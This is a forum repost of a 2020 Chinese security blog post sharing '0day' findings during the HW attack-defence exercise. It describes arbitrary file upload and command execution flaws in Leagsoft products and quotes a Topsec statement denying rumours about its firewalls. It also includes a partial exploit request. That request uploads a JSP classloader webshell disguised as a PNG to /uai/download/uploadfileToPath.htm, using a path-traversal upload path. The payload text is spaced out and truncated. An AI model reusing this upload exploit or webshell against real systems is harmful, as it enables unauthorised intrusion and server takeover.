搜索

[7481] 2020-09-13_HW第三天0day快递盒继续在线送day

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-09-13_HW第三天0day快递盒继续在线送day H W 第 三 天 : 0 d a y 快 递 盒 继 续 在 线 送 d a y 原 创   大 老 李   F 1 1 T e a m   2 0 2 0 - 0 9 - 1 3 收 录 于 话 题   # H W 行 动   , 8 个 联 软 科 技 产 品 存 在 任 意 文 件 上 传 和 命 令 执 行 漏 洞 ： 漏 洞 详 情 ： 任 意 文 件 上 传 漏 洞 ， 存 在 于 用 户 自 检 报 告 上 传 时 ， 后 台 使 用 黑 名 单 机 制 对 上 传 的 文 件 进 行 过 滤 和 限 制 ， 由 于 当 前 黑 名 单 机 制 存 在 缺 陷 ， 文 件 过 滤 机 制 可 以 被 绕 过 ， 导 致 存 在 文 件 上 传 漏 洞 ； 利 用 该 漏 洞 可 以 获 取 w e b s h e l l 权 限 。 （ 猜 测 利 用 黑 名 单 的 其 他 后 缀 名 绕 过 ） 命 令 执 行 漏 洞 ， 存 在 于 后 台 资 源 读 取 过 程 中 ， 对 于 自 动 提 交 的 用 户 可 控 参 数 没 有 进 行 安 全 检 查 ， 可 以 通 过 构 造 特 殊 参 数 的 数 据 包 ， 后 台 在 执 行 过 程 中 直 接 执 行 了 提 交 数 据 包 中 的 命 令 参 数 ， 导 致 命 令 执 行 漏 洞 ； 该 漏 洞 能 够 以 当 前 运 行 的 中 间 件 用 户 权 限 执 行 系 统 命 令 ， 根 据 中 间 件 用 户 权 限 不 同 ， 可 以 进 行 添 加 系 统 账 户 ， 使 用 反 弹 s h e l l 等 操 作 。 又 一 家 来 辟 谣 的 又 一 家 来 辟 谣 的 关 于 近 期 网 络 传 播 关 于 近 期 网 络 传 播 “ 天 融 信 天 融 信 N G F W 下 一 代 防 火 墙 设 备 存 在 漏 洞 下 一 代 防 火 墙 设 备 存 在 漏 洞 ” 等 情 况 的 声 明 等 情 况 的 声 明 在 近 期 的 网 络 安 全 演 习 中 ， 随 着 攻 防 态 势 白 热 化 ， 互 联 网 社 交 平 台 、 社 区 、 个 人 博 客 等 众 多 渠 道 也 开 始 出 现 汇 总 各 类 通 用 框 架 、 组 件 、 安 全 产 品 、 网 络 产 品 等 出 现 的 “ 0 d a y ” 漏 洞 情 报 。 天 融 信 在 近 日 发 现 网 络 上 在 传 播 关 于 一 则 通 告 “ 预 警 事 项 ” 的 截 图   此 公 告 内 容 为 使 用 天 融 信 N G F W 设 备 的 一 个 用 户 被 发 现 使 用 了 弱 密 码 ， 弱 口 令 漏 洞 为 事 件 型 安 全 漏 洞 ， 并 不 是 指 设 备 本 身 存 在 漏 洞 。 此 外 ， 对 于 网 络 传 播 的 天 融 信 其 他 安 全 产 品 存 在 漏 洞 的 消 息 ， 经 核 实 大 部 分 为 虚 假 消 息 ， 小 部 分 为 旧 版 本 漏 洞 。 我 们 会 继 续 加 强 天 融 信 产 品 相 关 漏 洞 信 息 的 监 控 ， 并 及 时 跟 进 、 公 开 处 置 信 息 ， 主 动 向 相 关 用 户 推 送 防 护 建 议 ， 与 用 户 协 同 维 护 网 络 空 间 的 清 朗 与 安 全 。 来 源 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 8 I O e x n T w e c I c 2 2 v A j - g W i A 听 说 还 有 其 他 骚 操 作 ？ P O S T   / u a i / d o w n l o a d / u p l o a d f i l e T o P a t h . h t m   H T T P / 1 . 1 H O S T :   x x x x x - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i n p u t _ l o c a l f i l e " ;   f i l e n a m e = " x x x . j s p " C o n t e n t - T y p e :   i m a g e / p n g   < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a x . c r y p t o . * , j a v a x . c r y p t o . s p e c . * " % > < % ! c l a s s   U   e x t e n d s   C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n   s u p e r . d e f i n e C l a s s ( b ,   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p l o a d p a t h "   . . / w e b a p p s / n o t i f y m s g / d e v r e p o r t / - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 - -
据 说 还 有 泛 微 的 洞 ？ （ 来 自 互 联 网 ）
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理